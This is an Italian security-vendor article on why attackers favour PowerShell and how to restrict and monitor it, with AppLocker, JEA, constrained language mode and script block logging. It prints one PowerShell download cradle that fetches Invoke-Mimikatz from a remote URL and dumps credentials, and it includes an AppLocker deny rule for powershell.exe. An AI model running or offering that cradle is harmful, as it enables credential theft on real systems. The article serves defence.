Magic Quadrant™ per la gestione degli accessi privilegiati 2025: Netwrix riconosciuta per il quarto anno consecutivo. Scarica il report.

Piattaforma
Glossario di cybersecurityCatalogo degli attacchi
Perché PowerShell è così popolare tra gli aggressori?

Perché PowerShell è così popolare tra gli aggressori?

C'è un vecchio detto: “Lo strumento di una persona è l'arma di un'altra.” Questo è certamente vero per Windows PowerShell. Incluso in ogni sistema operativo Windows oggi, questo potente shell a riga di comando e linguaggio di scripting è utilizzato dai professionisti IT per l'amministrazione di sistema, la gestione remota, la cybersecurity, lo sviluppo software e altro ancora.

D'altra parte, è utilizzato dagli attori delle minacce per aiutarli a compiere azioni malevole come la consegna di malware, il dispiegamento di ransomware e l'esfiltrazione di dati. Questo articolo spiega perché PowerShell è così utile agli aggressori e fornisce strategie preziose per difendere il tuo ambiente IT.

Catalogo degli attacchi:

Perché PowerShell è una piattaforma di attacco così popolare?

Allora, perché così tanti cybercriminali usano PowerShell per lanciare i loro attacchi? Beh, per una cosa, è gratuito. Altre ragioni includono le seguenti:

  • La maggior parte degli utenti aziendali ha PowerShell abilitato sui loro dispositivi endpoint Windows.
  • PowerShell utilizza un approccio senza file che esegue comandi e script direttamente nella memoria, rendendo difficile la rilevazione.
  • Può accedere a quasi qualsiasi dispositivo Windows avviando una connessione remota.
  • Gli attori delle minacce possono sfruttare PowerShell utilizzando altri strumenti dannosi come Empire, DeathStar e CrackMapExec.
  • Ci sono molteplici script disponibili su GitHub e altri luoghi (come Invoke-Mimikatz) che gli aggressori possono utilizzare.

Una volta che un attaccante ottiene l'accesso iniziale in un ambiente on-prem, può utilizzare PowerShell per ottenere visibilità nella tua rete e muoversi lateralmente per accedere ai tuoi dati più sensibili e ad altre risorse IT.

Come ridurre il rischio da PowerShell

Poiché PowerShell viene utilizzato in così tanti tipi diversi di attacchi, è imperativo implementare misure di protezione per combattere il suo uso malevolo. Vediamo alcune modalità per ridurre il rischio di minacce indotte da PowerShell.

Limitare i privilegi dell'Admin locale

Nell'era della rete Zero Trust, gli utenti standard non dovrebbero avere diritti di amministratore locale sui loro dispositivi a meno che non sia necessario per il loro lavoro. Anche se negare i diritti di amministratore locale non limita l'accesso a PowerShell, limita ciò che un utente — o un avversario che ha compromesso il loro account — può fare con PowerShell perché molti comandi e script di PowerShell richiedono privilegi elevati per funzionare. Inoltre, negare i diritti di amministratore locale limiterà l'accesso dell'utente a cartelle sensibili e impostazioni di sistema.

Utilizza la Modalità Linguaggio Vincolato

Windows PowerShell supporta diverse modalità linguistiche che determinano quali parti di PowerShell possono essere utilizzate. La modalità Constrained Language è stata sviluppata per il sistema operativo Windows RT e successivamente aggiunta a Windows PowerShell V5, che è utilizzato in tutti i moderni sistemi operativi Windows oggi.

Puoi avviare la sessione PowerShell in modalità Full Language, come mostrato di seguito:

Image

Puoi mettere una sessione di PowerShell in modalità Linguaggio Ristretto con il seguente comando:

Image

In modalità Linguaggio Limitato, PowerShell è limitato a un insieme ristretto di comandi e script. L'esecuzione di comandi al di fuori di queste restrizioni è bloccata, come mostrato nell'esempio sottostante:

Image

La modalità Constrained Language limita anche l'accesso a determinate funzionalità di PowerShell, come l'utilizzo dei profili PowerShell e la capacità di caricare moduli PowerShell aggiuntivi. Collettivamente, queste restrizioni aiutano a prevenire che gli hacker utilizzino PowerShell per eludere le misure di sicurezza del sistema.

Sfortunatamente, c'è una debolezza evidente con questa misura protettiva: un utente può semplicemente avviare una nuova sessione di PowerShell, che per impostazione predefinita verrà eseguita in modalità Full Language e avrà pieno accesso alle funzionalità di PowerShell.

Usa PowerShell Just Enough Administration (JEA)

PowerShell Just Enough Administration consente di applicare un sistema basato sui ruoli per le attività amministrative. Pensate a JEA come al principio di minimo privilegio per la sicurezza di PowerShell. Quando un utente inizia una sessione JEA, gli viene assegnata una forma ristretta di PowerShell che gli permette di eseguire solo i compiti e i comandi associati al suo ruolo. Questo impedisce loro di eseguire comandi privilegiati di cui non hanno bisogno.

Abilitare JEA è un processo multi-fase. Il primo passo è creare un file di compatibilità del ruolo, come mostrato di seguito:

Image

Dovrai quindi modificare il file .prsc e definire le specifiche capacità del ruolo, come consentire l'esecuzione di comandi specifici da parte dell'utente. Altri passaggi includono la creazione di un file di configurazione della sessione e poi utilizzare quel file per registrare un nuovo endpoint JEA sul computer locale.

Ottieni visibilità sull'attività

È necessario sapere cosa sta succedendo nel tuo ambiente IT. Un'opzione è utilizzare il Windows event forwarding (WEF), uno strumento gratuito nel sistema operativo Windows che può raccogliere e centralizzare i log degli eventi da sistemi distribuiti. Un approccio di terze parti sarebbe una soluzione di security information and event management (SIEM). I SIEM possono raccogliere dati da una vasta collezione di sistemi disparati e aggregare tali dati per fornire una visione completa di ciò che sta accadendo in tutto l'ambiente.

Dovresti anche abilitare le trascrizioni di sistema di PowerShell, che registreranno tutta l'attività di PowerShell sui sistemi designati in modo che i comandi eseguiti possano essere esaminati. Questo può essere utile per audit e indagini forensi. Per abilitare le trascrizioni di sistema di PowerShell, crea un oggetto Group Policy object (GPO), vai a Configurazione del computer > Modelli amministrativi > Componenti di Windows > PowerShell e attiva Enable PowerShell Transcription come mostrato di seguito:

Image

Utilizza AppLocker per disabilitare PowerShell e gli script

AppLocker è incluso in Windows 10 Enterprise e offre un modo utile per consentire l'esecuzione di applicazioni e script. Può essere configurato localmente su un sistema o tramite Group Policy. Per utilizzare Group Policy, crea un GPO, vai su Configurazione computer > Impostazioni Windows > Impostazioni di sicurezza > Criteri di controllo applicazioni > AppLocker. Crea una regola eseguibile e seleziona Nega come mostrato di seguito:

Image

È possibile bloccare le applicazioni per editore, percorso del file o hash del file. La politica di esempio sottostante blocca per hash del file e consente solo agli amministratori locali di eseguire PowerShell; l'accesso da parte di qualsiasi altro utente verrà bloccato.

Image

Puoi quindi distribuire la policy utilizzando Group Policy o esportarla come file XML e importarla in un MDM come Intune. Il codice XML per la policy esportata è mostrato di seguito:

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

Puoi anche assicurarti che solo i file di una cartella designata possano essere eseguiti utilizzando le politiche delle Script Rules per creare una regola di consenso per una cartella specificata usando uno script PowerShell semplice come questo:

Image

Rileva PowerShell maligno con il logging dei blocchi di script

PowerShell 5 introduce diverse nuove tecniche per tracciare gli script PowerShell maligni. Una di queste è il Script Block Logging. Questo livello di registrazione è attivo per impostazione predefinita con PowerShell 5 e fornisce una registrazione in chiaro dell'intero script eseguito da PowerShell. Questo è utile perché molti attacchi PowerShell sfruttano script codificati che sono difficili da decifrare.

Vediamo un metodo che un attaccante potrebbe utilizzare per nascondere i propri script, usando uno script come il seguente che scaricherà ed eseguirà Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

Image

Utilizzando PowerSploit e Out-EncodedCommand, un avversario può creare una versione codificata di questo comando che è ancora più offuscata:

Image

Tuttavia, i log degli eventi di PowerShell mostrano esattamente ciò che è stato eseguito, senza alcuna codifica:

Image

Come Netwrix può aiutare

Mentre le organizzazioni possono utilizzare queste strategie di mitigazione e rilevazione per monitorare e proteggersi dagli script maligni, esistono prodotti di terze parti che semplificano il lavoro. Netwrix Endpoint Privilege Manager rende facile creare liste di permessi e divieti per bloccare automaticamente gli utenti dall'eseguire applicazioni indesiderate, inclusa PowerShell. Inoltre, questo strumento consente di rimuovere i diritti di amministratore locale pur consentendo agli utenti di eseguire i compiti amministrativi necessari per un'elevata produttività.

PowerShell è uno strumento potente. Assicurati di prendere le dovute precauzioni per evitare che gli avversari possano usarlo così facilmente contro di te.

Condividi su

Visualizza attacchi informatici correlati

Abuso dei permessi dell'applicazione Entra ID – Come funziona e strategie di difesa

Modifica di AdminSDHolder – Come funziona e strategie di difesa

Attacco AS-REP Roasting - Come Funziona e Strategie di Difesa

Attacco Hafnium - Come funziona e strategie di difesa

Spiegazione degli attacchi DCSync: minaccia alla sicurezza di Active Directory

Attacco Pass the Hash

Comprendere gli attacchi Golden Ticket

Attacco agli Account di Servizio Gestiti di Gruppo

Attacco DCShadow – Come Funziona, Esempi Reali e Strategie di Difesa

ChatGPT Prompt Injection: Comprensione dei rischi, esempi e prevenzione

Attacco di estrazione password NTDS.dit

Attacco Kerberoasting – Come Funziona e Strategie di Difesa

Spiegazione dell'attacco Pass-the-Ticket: Rischi, Esempi e Strategie di Difesa

Attacco di Password Spraying

Attacco di estrazione di password in chiaro

Spiegazione della vulnerabilità Zerologon: Rischi, exploit e mitigazione

Attacchi ransomware di Active Directory

Sbloccare Active Directory con l'attacco Skeleton Key

Movimento laterale: cos'è, come funziona e prevenzioni

Attacchi Man-in-the-Middle (MITM): cosa sono e come prevenirli

Attacco Silver Ticket

4 attacchi agli account di servizio e come proteggersi

Come prevenire gli attacchi malware che impattano sulla tua azienda

Cos'è il Credential Stuffing?

Compromettere SQL Server con PowerUpSQL

Cosa sono gli attacchi di Mousejacking e come difendersi

Rubare credenziali con un Security Support Provider (SSP)

Attacchi con Rainbow Table: Come Funzionano e Come Difendersi

Uno sguardo approfondito agli attacchi alle password e come fermarli

Ricognizione LDAP

Bypassare MFA con l'attacco Pass-the-Cookie

Attacco Golden SAML